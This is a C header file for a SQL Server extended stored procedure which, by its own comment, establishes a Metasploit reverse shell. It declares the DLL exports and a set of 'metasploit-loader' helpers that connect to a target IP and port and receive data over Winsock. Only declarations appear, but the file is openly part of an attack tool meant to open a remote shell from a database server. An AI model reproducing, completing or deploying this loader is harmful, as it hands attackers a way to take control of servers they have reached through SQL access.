// xp_loadmetsrv.h
// ---------------
// Extended stored procedure for establishing a metasploit reverse-shell.

#pragma once

#pragma comment(lib, "Ws2_32.lib")

#pragma comment(lib,"C:\\Program Files\\Microsoft SQL Server\\90\\SDK\\Lib\\x86\\opends60.lib")
//                      ^^ this is the default path - adjust as needed if yours differs ^^

#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#include <stdlib.h>
#include <srv.h>
#include <winsock2.h>

// DLL Exports
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) ULONG __GetXpVersion();
__declspec(dllexport) SRVRETCODE xp_loadmetsrv(SRV_PROC *srvproc);
#ifdef __cplusplus
}
#endif

#define TACOS_RULE				1
#ifndef XP_NOERROR
#define XP_NOERROR				0			// Used for Sql_Send* functions
#endif
#ifndef XP_ERROR
#define XP_ERROR				1			// Used for Sql_Send* functions
#endif

struct	sThreadParams
{
	char*	szTarget;
	char*	szPort;
};

bool		LoadMetSrv(LPVOID pParameters);
SRVRETCODE	Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg);
SRVRETCODE	Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczMsg);
bool		GetParamInfo(SRV_PROC *srvproc,int iParam,TCHAR** tcBuffer);
bool		NormalizeSqlData(void* pbData,TCHAR** tczClientRequest,ULONG pcbActualLen,BYTE pbType);

// metasploit-loader functions

// void winsock_init();
bool	winsock_init();
// void punt(SOCKET my_socket, char * error);
bool	punt(SOCKET my_socket, char * error);
int		recv_all(SOCKET my_socket, void * buffer, int len);
SOCKET	wsconnect(char * targetip, int port);
